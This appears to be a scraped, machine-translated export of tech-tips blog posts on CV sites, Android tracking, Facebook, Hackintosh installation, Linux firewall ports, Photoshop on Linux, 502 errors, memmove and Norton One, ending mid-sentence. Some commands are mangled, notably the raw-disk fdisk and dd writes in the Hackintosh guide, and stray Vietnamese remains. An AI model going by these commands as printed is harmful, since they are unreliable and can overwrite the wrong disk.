http://www.slashcv.com/\nSlashCV is currently running beta testing. In addition to providing basic CV creation options, this site also allows users to store the finished product on the cloud to access on multiple devices and choose from 28 available templates to design a copy. My own CV.\n  8. ResumUp Website : http://resumup.com/\nRemsumUp is a very special website when it allows users to create Resume in the form of an extremely impressive Timeline. You can freely set the time, mark with colors, add content and edit it to suit your wishes.\n  9. Vizualize.me Website: http://vizualize.me/\nVizualize.me is similar to Visual CV but is more inclined to create Resume in the form of Infographic, allowing you to use more unique charts, data and CV building.\n  10. Resume Genius Website: https://resumegenius.com/\nAs its name suggests, Resume Genius is where you can find all the tools from simple to high level to create the most impressive CV or Resume.\n  See more:\n5 types of simple job CV layout - beautiful is worth learning 5 basic errors when writing career goals in resumes and how to fix them 10 free tools that support creating simple infographic ncG1vNJzZmismaXArq3KnmWcp51kfnF51p6ZrKGkmsBuwM5mn56koGKws7HArZxmrJiaerW7z2adq52VYrewroycraxlpKSxosU%3D\n","link":"/post/10-websites-to-help-create-the-top-free-job-cvs-today/","section":"post","tags":null,"title":"10 websites to help create the top free job CVs today"},{"body":"Normally when you download and install an Android application to your device, at the first launch, the application will ask you to grant certain access rights on the phone, depending on the purpose of the application. . In many cases, you don't want the application to interfere too deeply with your private data, such as access to location information, messages, or contacts . you refuse to grant permission and security. The application is completely \"harmless\", but it is not so.\nNew Android Trojans lead users to phishing websites by notification on the application   Refuse to grant application permissions\nAccording to recent statistics, researchers have found that thousands of applications have a sophisticated Android licensing system that can track devices even if you have deny access. In particular, the type of data being violated the most is still information about the location. Even some of these applications can silently collect enough data to reveal your location in real time.\nThus, even if you refuse to grant the application full access, this may not be enough to 'disable' the application completely. The problem is that another application that you have granted access to can share the amount of data that they have access to the other application (this is rarely the case, and usually only occurs for those The application belongs to the same developer / publisher). The second more common case is that the collected information is left in free-sharing memory, where another application - not excluding malicious applications - is accessible.\nMany Android users discover that their phones have spyware installed after traveling to China   Location data is still the top factor to be \"sought\"\nIn the case of two applications that seem irrelevant but still able to share data back and forth, security researchers have come to the conclusion: Most of these applications are build through the same set of software development tools (SDK), which is why they can access the data that the other application can access, and also have evidence of SDK owners receive data that the application sends. It is possible to associate this situation like when a child asks for ice cream, the mother worries that she has a sore throat and says 'no', while the father does not think it is a serious problem and agrees.\nAccording to a study that was presented at PrivacyCon security conference 2019, security researchers talked about how many applications come from several big brands like Samsung and Disney (downloaded hundreds of millions of times). ), containing the behavior of automatically approaching and sharing the above data.\nThere is a pretty important similarity: these applications often use the SDK developed by Chinese search giant Baidu, and another market analytics company called Salmonads. This feature makes them able to 'silently' transmit user data from one application to another (and to the service server) by storing the data obtained in the phone memory itself locally. .\n10 million Android users are tricked into downloading fake Samsung applications   Commonly used applications SDK can share the collected data for each other\nSecurity researchers also found that some applications developed on Baidu's SDK might try to get this amount of data to use for other complex purposes.\nBesides, the team also found the appearance of some side channel gaps (side channels). Some of these can be sent to their servers with very interesting information such as the network MAC address and router's unique MAC address, wireless access point information, SSID, and many other data.\nAccording to Professor Serge Egelman, director of the Usable Security and Privacy Group under the International Computer Science Institute (ICSI), one of the industry's leading security experts, it is not a coincidence that it is not a coincidence. collect information about MAC address or SSID . These are known as data that can replace the location data - the type of data that users are increasingly interested in, difficult to collect easily. before. Thus the ultimate goal is to determine the exact location of the user.\nThere are also some other even more sophisticated methods of data collection that have been recorded, such as Shutterfly's case. Research has shown that this photo application is able to send the actual GPS coordinates it collects to its server even if it is not granted location tracking by collecting the necessary information from the key. EXIF metadata - the type of data included in the photos you upload to Shutterfly. Although Shutterfly has argued that it has not collected any unauthorized data, the incident has caused the app's reputation to plummet.\n238 applications found on Play Store contain malicious code that paralyzes smartphones\n  Shutterfly commits not to collect unauthorized user data\nIn terms of the Android platform, the researchers say they have informed Google of vulnerabilities that allow \"over-the-counter\" applications to be granted access on the operating system last September. The problem has been promised by Google to \"rectify\" thoroughly in the latest version of Android Q. However, this may not be of much help for Android devices that can't (get) Android Q updates, and this number is not small at all. As of May 2019, only about 10.4% of current Android devices have the latest Android P installed, while more than 60% are still running on Android N version which is nearly 3 years old.\nResearchers believe that Google should offer more practical measures. For example, they may release hotfixes for security updates for both older Android versions. It is completely absurd that only those who buy new phones, running on the new version of Android, are protected from complex vulnerabilities, as Google said: 'Privacy and protection are not and nor should it be considered a luxury product '.\nPlease admire Android Q's Desktop Mode with more powerful features   Google promises to \"rectify\" some of the known security issues in Android Q\nGoogle declined to comment on the specific vulnerabilities mentioned above, but they confirmed that Android Q will hide geolocation information from all photo applications by default, and will also request broadcasters. Application developers must report to Play Store whether their products actually have location metadata access capabilities.\nncG1vNJzZmismaXArq3KnmWcp51ksrexzWagn2WUmruqscNmmJyblajAbsDHqKysmZ6ZwG67xWaYp5yipLalecCpp6Whk5bBqrvNrGScmZ5iwLW1y6VkraqRmLhuxc6u\n","link":"/post/even-if-denied-access-thousands-of-android-applications-can-still-track-you/","section":"post","tags":null,"title":"Even if denied access, thousands of Android applications can still track you"},{"body":"On September 28, a Taiwanese freelance programmer named Chang Chi-yuan, posted a livestream plan to direct the process of completely eliminating the account of Mark Zuckerberg, CEO Facebook made many people not from amazement and delight. Unfortunately, not long after, this guy changed his plan, instead of hack Chang reported the error to Facebook to receive the bonus.\nChang Chiu graduated from Taiwan National University and made money by exploiting programming and security errors from many technology corporations to receive bonuses. Two years ago, this white-hat hacker had discovered a serious error that could potentially remove a Facebook account quickly and get a $ 30,000 reward from Facebook. In 2016, Chang's personal account was ranked among Top Corp.'s Top 8 programmers with the highest security error.\n  Chang Chi-yuan has discovered many web holes and received bonuses from many technology corporations in the US and India. Previously, this guy was also accused of breaking into the system of Apple or Tesla.\nIn his locality, Chang was sued by a bus company for hacking into their system to lower the ticket price to only NT $ 1 (NT), equivalent to 3 cents and paying $ 60,000 in compensation.\nFacebook and many large technology corporations often have a bonus program that rewards a large amount of money to anyone who finds a vulnerability on their platform. But provocative acts like Chang's high-level personnel account hacking are definitely not welcome by any technology group.\nIn 2013, Khalil Shreateh, an IT specialist, successfully hacked Zuckerberg's account, then posted a status with Facebook's own account. And of course, Facebook has refused to reward the discovery of the vulnerability.\nSee more:\nFacebook was attacked, more than 50 million user accounts are at risk of being leaked How to know your Facebook has been hacked 4 ways to hack Facebook you should know to protect your Facebook account ncG1vNJzZmismaXArq3KnmWcp51ktaKvyp6prGWToa6quYyhprBll6S8pXnIrWSiq12pvG60wJyiZqWRp7huxtScop6qkpq%2FqL%2BMn5icnZKkvKx5wJyaqK2eqQ%3D%3D\n","link":"/post/hackers-claim-how-good-it-is-to-hack-mark-zuckerberg-s-facebook-account/","section":"post","tags":null,"title":"Hackers claim how good it is to hack Mark Zuckerberg's Facebook account?"},{"body":"The Facebook Meeting Room is a new feature, which helps you create a Messenger Rooms for up to 50 participants. This is the Messenger Rooms feature that TipsMake.com previously introduced to you. And from now on, we can create meeting rooms right in the Facebook interface without having to open directly from Messenger.\nBasically, the feature of creating a Facebook room is similar to that of Messenger, but on the Facebook version, there is an option to set a meeting room. You can then choose any time to create the meeting room. The following article will guide you how to create a meeting room on Facebook.\n1. Instructions to create meeting rooms Facebook Android, iOS Step 1:\nAt the interface on Facebook application, click on Create meeting room with purple icon. Display the interface for you to set up the meeting room.\n  Step 2:\nYou can first select the operation of the meeting room . Next to the Who is invited section you will set up who is allowed to join the meeting room. If you want only your friends to join, select Friends. If you want only specific people, select Specific people.\n  At that time the list of friends. If you want everyone can participate via the link th ì click Ignore . At that time, you will see a message asking if the link sharing feature is enabled or not. Click Enable to use. So even those who do not have a Facebook account can join the meeting room as long as there is a link.\n  Next we can schedule the meeting . After setup is complete, press Done. Switch to the new interface, you can change the content of the meeting. Click Share then write a post on Facebook for more people to join. Finally click Join the meeting room.\nStep 3:\nWe then wait for our friends to join. To send the link , click Share link to join. Then we wait for everyone to join the meeting room. The interface is now similar to Messenger Room.\n2. How to create a Facebook PC meeting room Step 1:\nAt the interface on Facebook you click the Create button as shown below.\n  Step 2:\nThen display the interface for users to set up the meeting room . First, you also choose what the meeting room activity is.\n  Next set up who can join the meeting room, only your friends, who designate or create links to share with anyone who has the link.\n  In the time selection section, you can create appointments for meeting rooms on Facebook, or for meetings. Finally click Save to create the meeting room.\n  Step 3:\nShow interface before creating a room. Here you can change and edit the meeting room. Click Join to meet on Facebook.\n  Step 4:\nThen we will switch to the web Messenger interface to make the meeting. Finally, you can wait for everyone to join the meeting room.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyfmJydkqS8rHnMnpytoZ6cerO7zqY%3D\n","link":"/post/how-to-create-facebook-meeting-room/","section":"post","tags":null,"title":"How to create Facebook meeting room?"},{"body":" You love Macs but you don't have enough money to get one? You want to know how it feels to use one? Well, read on... Install Snow Leopard on your PC from USB memory, rather than from the installation DVD, this is due to the need to...\nMethod 1of 2:\nPrepare Your USB Memory  Install Snow Leopard on your PC from USB memory, rather than from the installation DVD, this is due to the need to customize some things to run the installer on your PC, which we will customize the how to load this setup, more specifically we will load a custom bootloader.\n  Format the USB stick and then turn converts the Snow Leopard disc into an image on the desktop of a Mac, here's how: Application Open Disk Utility (Disk Utility) on the Mac that you have given (this application is in / Applications / Utilities / Disk Utility)   Partition and format the USB drive: Insert the USB memory, after a second is displayed in the sidebar of Disk Utility. Click on it. Click on Partition. Choose a partition volume scheme. Give a name (Hackintosh) and select Mac OS Extended (Case Sensitive., Recorded), now very important. Click on the button options, and check the option that says GUID Partition Table, once you've done all the above; Click Apply. You have an installation DVD image from Snow Leopard on your hard drive: for it inserted into the Mac provided the Snow Leopard DVD and when it appears in the sidebar of Disk Utility (1) you click it, then ( 2) you click on the \"new image\" then choose where to save, I recommend using the desktop, to finish Click Save and go to the bathroom or take a cold drink because it will take some time, when finished go to the next step.   Restore the image of Snow Leopard since your hard drive to your USB drive: Now from the same application Disk Utility, (1) click on the USB memory is called Hackintosh, (2) you click restore. (3) Drag and drop the image created from the installation DVD Mac OS X Install DVD.dmg of the sidebar to the field that says Font, then (4) drag and drop the USB from the sidebar to the field that says Target . Now simply (5) click on the restore button and enter the password when prompted (the password for the Mac the administrator lent you), this could take a few minutes.\n  Make some modifications in order to boot the installer from the USB drive.This requires some work from the Terminal in Mac OS X, and this is what can be a little difficult for some users. If you have no idea how to use the terminal, ask a friend who does know.\n  Make sure your USB is still connected and open the Terminal (/ Utilities / Terminal) and type the following command: diskutil list Here we will see what the ID of the USB drive should be 2 identifiers, one for the GUID partition and one for the HFS partition, copy these names, as they will be needed later.    Go to the Chameleon page and download the latest version of Chameleon, once downloaded, unzip it and put it in an accessible location as the desktop.\n  Go to the i386 folder that is inside the folder Chameleon. cd / Users / your name /Desktop/Chameleon-2.0-RC2-r640-bin/i386 /   Once inside the folder you run the following commands from the terminal (the ID in bold replace it by one of the IDs you copied in step 1). boot0 sudo fdisk-f-u-y / dev/rdisk2   Repeat the action, but change the name of the identifier on the other you copied in step 1  sudo dd if = boot1h of = / dev/rdisk2s2   Place the custom Bootloader USB memory, for that netkas.org download it and unzip it into an accessible, then go to copy the bootloader to the USB stick using the Terminal, in this case it is necessary to use the Terminal and not the Finder, so it uses a command like this, changing the routes you use: sudo cp / Users / adam / Desktop / boot / Volumes / Hackintosh   Finish preparing the USB drive with extra download this file unzip it and copy and paste it into the USB memory.\n Method 2of 2:\nInstall Snow Leopard  Install Snow Leopard.\n  Make sure you have set the boot priority in BIOS to boot from your USB drive, just plug the USB drive and ready for your turn on the PC Hackintosh.\n  Jessica Tanner Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmqqenp2K5prvPmqmdZZ%2BjeqK6jKKlrZ2cYr2k\n","link":"/post/how-to-install-snow-leopard-on-an-intel-pc/","section":"post","tags":null,"title":"How to Install Snow Leopard on an Intel PC"},{"body":" This wikiHow will teach you how to open ports in three popular Linux firewalls. If you're using a product like ConfigServer Firewall (CSF) or Advanced Policy Firewall (ADP), you can control open ports in the firewall's main configuration...\nMethod 1of 3:\nUsing Uncomplicated Firewall for Ubuntu  Log in to your server. If you're using Ubuntu on your desktop, press Ctrl+Alt+T to open a terminal window.\n  Type sudo ufw status verbose and press ↵ Enter. If UFW is already running, you'll see a status message, as well as a list of any firewall rules (including opened ports) that already exist.[1] If you see a message that says Status: inactive, type sudo ufw enable at the prompt and press ↵ Enter to start the firewall.   Use sudo ufw allow [port number] to open a port. For example, if you want to open the SSH port (22), you'd type kbd and press ↵ Enter to open the port. There's no need to restart the firewall, as the change will take effect immediately.[2] If the port you're opening is for a service listed in /etc/services, you just type the service's name instead of the port number. Example: sudo ufw allow ssh. To open a specific range of ports, use the syntax sudo ufw allow 6000:6007/tcp, replacing 6000:6007 with the actual range. If the range is UDP ports, replace tcp with udp. To specify an IP address that can access the port, use this syntax: sudo ufw allow from 10.0.0.1 to any port 22. Replace 10.0.0.1 with the IP address, and 22 with the port you want to open to that address.   Delete firewall rules that aren't needed. Any ports that aren't specifically opened are blocked by default. If you open a port and decide you want to close it, use these steps: Type sudo ufw status numbered and press ↵ Enter. This displays a list of all firewall rules, each beginning with a number to represent it in the list. Identify the number at the beginning of rule you want to delete. For example, let's say you want to remove the rule that opens port 22, and that rule is listed on line 2. Type sudo ufw delete 2 and press ↵ Enter to remove the rule at line 2.  Method 2of 3:\nUsing ConfigServer Firewall  Log in to your server. If you're not logged in as the root user, you can su to root to adjust your configuration.\n  Go to directory that contains your CSF config file. The file is called csf.conf, and it's saved to /etc/csf/csf.conf by default.[3] To do this, type cd /etc/csf and press ↵ Enter.\n  Open csf.conf in a text editor. You can use any text editor you wish, such as vim or nano. To open csf.conf in vim, type vim csf.config and press ↵ Enter.   Add an incoming port to the TCP_IN list. TCP ports. Once you have the file open, you will see TCP_IN and TCP_OUT sections. The TCP_IN section lists open inbound TCP ports separated by commas. The ports are in numerical order to make things easy, but it's not required that the ports you stick to the order. You can add ports to the end of the sequence, just separate them with commas. For example, let's say you want to open port 999, and the current open ports are 20, 21, 22, 25, 53, 80, 110, 143, 443, 465, 587, 993, 995. After adding port 999 to the list, it will look like this: 20, 21, 22, 25, 53, 80, 110, 143, 443, 465, 587, 993, 995, 999. To get into insertion/typing mode in vim, press the i key on the keyboard.   Allow outgoing TCP to the TCP_OUT list. Just as you did with the incoming port, add any outbound TCP ports you'd like to open to the TCP_OUT list.\n  Save your changes and exit the file. Follow these steps to save and exit the file: Press the Esc key. Type :wq!. Press ↵ Enter.   Type service csf restart and press ↵ Enter. This restarts the firewall and opens the new ports. To deny a port, re-open the file, delete the port, save the file, and then re-start the firewall.  Method 3of 3:\nUsing Advanced Policy Firewall  Log in to your server. If you're not logged in as the root user, you can su to root to adjust your configuration.\n  Go to the directory that contains your APF config file. The file you're looking for is called conf.apf, and it'll be in /etc/apf by default.[4] Type cd /etc/apf to enter that directory.\n  Open conf.apf in a text editor. You can use any text editor you wish, such as vim or nano. To open conf.apf in vim, you'd type vim conf.apf and press ↵ Enter.   Add inbound ports to the IG_TCP_CPORTS list. Once you have the file open, you will see IG_TCP_CPORTS and EG_TCP_CPORTS sections. The IG_TCP_CPORTS section lists open inbound ports separated by commas. The ports are listed in numerical order to make things easy, but it's not required to stick with it. You can add ports to the end of the sequence, just separate them with commas. For example, let's say you want to open port 999, and the current open ports are 20, 21, 22, 25, 53, 80, 110, 143, 443, 465, 587, 993, 995. After adding port 999 to the IG_TCP_CPORTS list, it will look like this: 20, 21, 22, 25, 53, 80, 110, 143, 443, 465, 587, 993, 995, 999. To get into insertion/typing mode in vim, press the i key on the keyboard.   Allow outbound ports to the EG_TCP_CPORTS list. Just as you did with the incoming port, add any outbound TCP ports you'd like to open to the the EG_TCP_CPORTS list.\n  Save your changes and exit the file. Follow these steps to save and exit the file: Press the Esc key. Type :wq!. Press ↵ Enter.   Type service apf -r and press ↵ Enter. This restarts the APF firewall and opens the new ports. To deny a port, re-open the file, delete the port, save the file, and then re-start the firewall.   Isabella Humphrey Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqegmrtuvM6rq6xlmaN6rbXNrq9mq5Wnw6a%2BjJ%2Bgq52nlrmt\n","link":"/post/how-to-open-ports-in-linux-server-firewall/","section":"post","tags":null,"title":"How to Open Ports in Linux Server Firewall"},{"body":"The penguin operating system is not without high-end graphics programs.However, Adobe Photoshop has been \"ingrained\" into the hearts of the graphics world, so don't rush to abandon this operating system and return to Windows.In just a few steps, you can use Photoshop on Linux.\nHow to install Photoshop on Linux Install Photoshop on Linux using virtual machines Install Photoshop on Linux using Wine Download and install PlayOnLinux Install Photoshop using PlayOnLinux  Install Photoshop on Linux using virtual machines Because Photoshop runs on Windows, Linux users can install Windows virtual machines and then run Photoshop on them. To do this, you need:\nA virtual machine software like VirtualBox, QEMU or KVM. See the article 5 best virtual machine applications for the most appropriate option. Compatible with Linux distributions Compatible version of Windows Adobe Photoshop installer First, install the virtual machine, then install a copy of Windows inside it. Now that you have a version of Windows running in the virtual machine, now just start the Adobe Photoshop CS6 installer on it and complete the installation of Photoshop on Linux. In short, you're running Photoshop on Windows and running Windows in Linux.\nInstall Photoshop on Linux using Wine Alternatively, you can run Adobe Photoshop on Linux using Wine and PlayOnLinux.\nAs far as Yassen Dadabhay revealed, Photoshop CC 2014 can run on Linux, however, CC 2015 cannot. You can also run Adobe Photoshop CS4, CS6, and Lightroom 5 on Linux with Wine. One of the biggest problems when switching from Windows to Linux is software compatibility.\nSoftware needed to install Photoshop on Linux:\nWine (optional but recommended: PlayOnLinux) Adobe CS4, CS6 or CC 2014 The easiest way to install Adobe Photoshop on Linux uses Wine and PlayOnLinux. Wine is an open source compatibility layer that allows some Windows programs to run on operating systems such as Unix.\nPlayOnLinux provides a nice front-end for Wine, making it easy to install software. In addition, you can use Wine to run Windows applications on macOS as well as on Android devices. For gamers, Wine provides a simple way to run Windows games on Linux distributions.\nDownload and install PlayOnLinux Go to PlayOnLinux download page and select the appropriate package or run the command. Because the installer is a tar.gz file, you need to download and extract it. In addition, PlayOnLinux has different installation methods for Linux distributions:\nOn Arch Linux, run the following command:\n pacman -Syu playonlinux  However, on Debian, just download the appropriate DEB file. Note, Debian Wheezy users must install the wine: i386 package so that PlayOnLinux works properly. Run the following command:\nwget -q \"http://deb.playonlinux.com/public.gpg\" -O- | apt-key add - wget http://deb.playonlinux.com/playonlinux_wheezy.list -O /etc/apt/sources.list.d/playonlinux.list apt-get update apt-get install playonlinux  Meanwhile, if using Debian Squeeze, use the command:\nwget -q \"http://deb.playonlinux.com/public.gpg\" -O- | apt-key add - wget http://deb.playonlinux.com/playonlinux_squeeze.list -O /etc/apt/sources.list.d/playonlinux.list apt-get update apt-get install playonlinux  If using Lenny, run the following command:\nwget -q \"http://deb.playonlinux.com/public.gpg\" -O- | apt-key add - wget http://deb.playonlinux.com/playonlinux_lenny.list -O /etc/apt/sources.list.d/playonlinux.list apt-get update apt-get install playonlinux  For Debian Etch users, use the command:\nwget -q \"http://deb.playonlinux.com/public.gpg\" -O- | apt-key add - wget http://deb.playonlinux.com/playonlinux_etch.list -O /etc/apt/sources.list.d/playonlinux.list apt-get update apt-get install playonlinux  Another way is to download the DEB file. If you use Ubuntu Precise or higher, you will need to package wine: i386 to PlayOnLinux properly. Like Debian, for the previous Ubuntu version, you will need to install PlayOnLinux via the command line.\nInstall on Trusty with:\nwget -q \"http://deb.playonlinux.com/public.gpg\" -O- | sudo apt-key add - sudo wget http://deb.playonlinux.com/playonlinux_trusty.list -O /etc/apt/sources.list.d/playonlinux.list sudo apt-get update sudo apt-get install playonlinux  If using Saucy, run:\nwget -q \"http://deb.playonlinux.com/public.gpg\" -O- | sudo apt-key add - sudo wget http://deb.playonlinux.com/playonlinux_saucy.list -O /etc/apt/sources.list.d/playonlinux.list sudo apt-get update sudo apt-get install playonlinux  For Precise use the command:\nwget -q \"http://deb.playonlinux.com/public.gpg\" -O- | sudo apt-key add - sudo wget http://deb.playonlinux.com/playonlinux_precise.list -O /etc/apt/sources.list.d/playonlinux.list sudo apt-get update sudo apt-get install playonlinux  Frugalware users run:\npacman-g2 -S playonlinux  Finally, Fedora users can install the Yum package.\nInstall Photoshop using PlayOnLinux Once you have PlayOnLinux installed, choose Install a program from the left bar of the screen or from the top menu.\n  Now, in the search bar, search for Photoshop programs. You will see options for Adobe Photoshop CS4, CS6 and Lightroom 5, select the program you want to install, here choose Adobe Photoshop CS6, then select Install .\n  After that, you will see a message appear before installing PlayOnLinux, click accept and continue the installation process.\n  Finally, PlayOnLinux requires selecting the installation file on the hard drive.\n  After selecting the file, click Next .\n  Now, PlayOnLinux creates a virtual drive and installs some items including Adobe Air, but can't install Microsoft fonts, check I agree and click on Next . When the installation process is complete, you can install the real Photoshop program.\n  If the installation message fails, wait a few minutes and try again. After initial setting, select Install or Try if there is no full version. You need to login with Adobe ID, after logging in, installing Adobe Photoshop.\n  Although there are many alternatives to Linux, Adobe Photoshop is still the first choice when editing images. Also, for long time users of Photoshop it is hard to find a program that is compatible with previous Photoshop files. So use these two ways to use Photoshop on Linux.\nI wish you all success!\nSee more:\nInstructions for installing Windows software on Linux with PlayOnLinux Ways to install Microsoft Excel on Linux 5 ways to run Linux software on Windows ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F05qjpWWgnby1u9Khpqlln6N6rbXNrq8%3D\n","link":"/post/install-photoshop-on-linux/","section":"post","tags":null,"title":"Install Photoshop on Linux"},{"body":"502 Bad Gateway error is an HTTP status code error (HTTP Status Code), which means that a server (server) receives an \"invalid\" response from another server (server).\n  1. The sign to identify 502 Bad Gateway error Bad Gateway error on each site will be different. However, if you get a Bad Gateway error, you will see one of the following error messages:\n\"502 Bad Gateway\"\n\"502 Service Temporarily Overloaded\"\n\"Error 502\"\n\"Temporary Error (502)\"\n\"502 Proxy Error\"\n\"502 Server Error: The server has encountered an error temporary and không thể hoàn thành yêu cầu.\"\n\"HTTP 502\"\n\"502. That's an error.\"\n\"Bad Gateway: The server proxy đã nhận một câu lệnh không hợp lệ từ máy phục vụ upstream.\"\n\"HTTP Error 502 - Bad Gateway\"\n502 Bad Gateway error displayed in the Internet browser window is similar to the web page.\n\"Fail Whale\" is one of Twitter's \"notorious\" errors, and the nature of this error is the 502 Bad Gateway error.\nBad Gateway error in Windows Update usually generates error code 0x80244021 or error message WU_E_PT_HTTP_STATUS_BAD_GATEWAY.\nWhen Google services, such as Google Search or Gmail, a 502 Bad Gateway error usually displays Server Error (server error) or in some cases simply displays 502 on the screen.\n2. Causes of 502 Bad Gateway error Typically, Bad Gateway errors occur due to problems between online servers (online servers) that you cannot \"control\".\nNote:\nMicrosoft IIS web server management system often provides more detailed information about the cause of 502 Bad Gateway error by adding additional parameters after 502, such as HTTP Error 502.3 - Web server received một câu lệnh không hợp lệ trong khi làm việc với gateway hay proxy.\n3. Some solutions to overcome 502 Bad Gateway error As mentioned above, the cause of 502 Bad Gateway error is due to a server error that is congested or due to certain incidents that you cannot control.\nTo fix this error you can refer to some solutions below:\n1. Reload the URL code again Try reloading the URL again by pressing the F5 key, or clicking the Refresh / Reload button.\n502 Bad Gateway error occurs because the server is temporarily suspended for upgrade, it is only a temporary error, so you can apply the solution to reload the page again to fix the error.\n2. Restart your browser Close all windows on your browser, then reopen the browser again, and try opening the website you want to visit again.\nError 502 may occur because your computer has a problem while you browse the web in the browser. The easiest way to fix 502 error in this case is to restart your browser.\n3. Clear the browser cache \"Outdated\" files or corrupted files stored on your browser can cause 502 errors. In this case, just delete the cache files and try opening the page you want. Access is done.\nRefer to the steps to clear cache on browsers here.\n4. Delete browser cookies Files that are \"outdated\" or corrupted files stored on your browser may cause 502 errors. If you have applied a solution to delete browser cache files, you still don't Fix 502 error, you can think of the solution is to delete cookies on the web browser to fix the error.\nRefer to the steps for clearing cookies on browsers here.\nNote: If you do not want to delete all cookies on your browser, you can find and delete cookies related to the website you accessed with 502 errors.\n5. Start the browser in Safe Mode When your browser runs in Safe Mode, it means that the browser will run with the default settings, no add-ons, extensions and toolbar.\nIn the process of running the browser in Safe Mode, if there is no 502 error, then you can confirm that the cause of 502 error is due to the extension or browser installation. Then you just need to reset the browser settings to the default mode or find disabled extensions that are causing the error.\nNote : To run the browser in Safe Mode, you just need to boot your Windows computer in Safe Mode and run any browser you use often.\n6. Use another alternative browser You can use another alternative browser, such as Chrome, Firefox, Internet Explorer, Micorsoft Edge or Safari.\nIf you have applied the above solutions and still cannot fix the 502 error, you can use another alternative browser to browse the web. If there is no 502 error on other alternate browsers, the cause of the error may be a problem with your original browser. You can then uninstall the browser, then download and reinstall the browser to fix the error.\n7. Use Software Update 1 for Microsoft Forefront Threat Management Gateway (TMG) 2010 Service Pack 1 If you have installed Forefront TMG SP1 and you are accessing a website, you receive an Error Code: 502 Proxy Error. Lỗi logon network. (1790) or other similar error messages.\nYou can then download and install Software Update 1 for Microsoft Forefront Threat Management Gateway (TMG) 2010 Service Pack 1 to fix the problem.\nDownload Software Update 1 for Microsoft Forefront Threat Management Gateway (TMG) 2010 Service Pack 1 to your computer and install it here.\nNote:\nThis solution is not a general solution to fix 502 Error Proxy but can only be applied in some specific cases.\n8. Restart your computer Some temporary problems while your computer is connected to the Internet may cause 502 errors. This is very simple, you just need to reboot your computer to fix the problem. .\n9. Restart the network device Sometimes in some cases, modem problems, routers, switches or other network devices may also cause 502 errors or 502 Bad Gateway errors. In this case, you just need to reboot the device: modem, router, switches . again.\n10. Change DNS Change DNS on Servers, or your router, computer or devices. Sometimes Bad Gateway errors occur due to temporary problems on DNS Servers.\n11. Contact the website directly This is also a good solution to fix 502 Bad Gateway error. It is likely that in many cases, the website is faulty and the Admin of the site has not \"fix\" the error, and this is the cause of 502 Bad Gateway error.\nYou can visit the Website Contact Information page to see the contact list for some popular websites today. Most websites have social network accounts used to support their services, some websites include email and phone numbers so users can contact.\n12. Contact your Internet service provider The final solution to fix 502 Bad Gateway error is that you can contact your Internet Service Provider (Internet Service Provider) to find out the cause and fix the error.\nRefer to some of the following articles: 4 ways to fix DF-DLA-15 errors during the download process on Play Store How to watch blocked YouTube videos or restrict viewers without signing in or proxying Instructions for fixing Outlook errors: Receiving reported error (0x80040600) and error 0X800CCC0E Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWaema22r7OMbmdrZZKWsW6zwK2csJmpYrKzvs6r\n","link":"/post/instructions-for-fixing-502-bad-gateway-error/","section":"post","tags":null,"title":"Instructions for fixing 502 Bad Gateway error"},{"body":"Void function * memmove (void * str1, const void * str2, size_t n) Copy n characters from str2 to str1, but to solve the matching of memory blocks, memmove () is a safe approach more than memcpy ().\nDeclare memmove function in C Below is the declaration for memmove () in C:\nvoid * memmove ( void * str1 , const void * str2 , size_t n )  Parameters str1 - This is the pointer to the destination array, where the content to be copied, cast into a pointer of type void *.\nstr2 - This is the pointer to the data source to copy, cast into a pointer of type void *.\nn - This is the number of bytes to be copied.\nReturns the value This function returns a pointer to the destination string, str1.\nFor example The following program C illustrates the usage of memmove () in C:\n#include #include int main () { char str [] = \"Vi du ham memmove trong C\" ; memmove ( str + 20 , str + 15 , 11 ); puts ( str ); return 0 ; }  Compiling and running the above C program will result:\n  According to Tutorialspoint\nLast lesson: Function memcpy () in C\nNext lesson: memset () function in C\nncG1vNJzZmismaXArq3KnmWcp51kuqa5zKitnmWWqrukwMiopWahnmKw\n","link":"/post/memmove-function-in-c/","section":"post","tags":null,"title":"Memmove function in C"},{"body":"Due to the increasing security of personal computers, Symantec recently provided a new protection method called Norton One. Meanwhile, Norton 360 also has an update.\n  Symantec's latest attempt to simplify computer security with a personalization-focused method called Norton One, like the latest version of Norton 360, was recently released. Besides, another version also announced is Norton 360, called Norton 360 Everywhere.\nNorton One is a completely new product that Symantec hopes to attract people who are not afraid to pay for computer security but still want to experience as simple as possible. Basically, the premium version provides a license key and account ID that can be used for 5 different devices; 25 GB of online storage; Technical support will connect you with a technical support staff of Norton One within 2 minutes; Free antivirus removal by technical staff if your device is infected after installing One; and a web interface to manage everything.\nJody Gibney, head of product management at Norton One, said in a conversation last week: ' We take everything in Norton and help all customers, even non-technical experts. is also accessible '.\n  The Android interface also signals when it is connected to a Norton One account.\nDevices supported by One can also run Norton 360 v6 or Norton Internet Security 2012 for Windows, Norton Internet Security for Mac, and Norton Mobile Security on Android. Symantec is absolutely right that it is the first industry, and it sounds very much like saving the top seat in the stadium for computer security.\nAccording to Collin Davis, senior director of Symantec, \" One of the highlights of Norton One is that it has a completely new support infrastructure .\" This means each user will receive one. Private installation link via email This link already has license key information in it so users do not need to fill in anything. A more traditional installation path is also provided for those who need them. .\n  Norton One plans to provide user support automatically, including callback time within no more than 2 minutes.\nDavis said: ' People always want to own a solution as automatically as possible, and something can help them not to touch each time they need it .'\nSymantec also announced the annual update of Norton 360, and revealed information about the second version of 360, which is due to be released this spring, called Norton 360 Everywhere. Norton 360 Everywhere will expand Norton 360's features for Mac and Android devices, and provide a single web interface to manage them. Norton 360 version 6 delivered updates from last fall to Norton Internet Security 2012, such as Download Insight and bandwidth management for updates. New features include a new interface to transfer backup interface, sync in Norton's Identity Safe, and Identity Safe toolbar.\n  Norton One works discreetly but continuously in Windows. There is no news about integrating with Windows 8 yet.\nNorton One is currently only testing software with certain limitations. It will be available for $ 149.99 for 5 devices, with additional options available upon request. When offered extensively at some point in the spring of this year, it is available only in English-speaking countries: the US, Canada, Britain, Ireland, Australia and New Zealand.\nNorton 360 v6 currently has a price of $ 89.99 with 2 GB of online storage. If you add $ 10, you will get 25 GB of storage. Symantec has not disclosed the price of Norton 360 Everywhere or when it officially 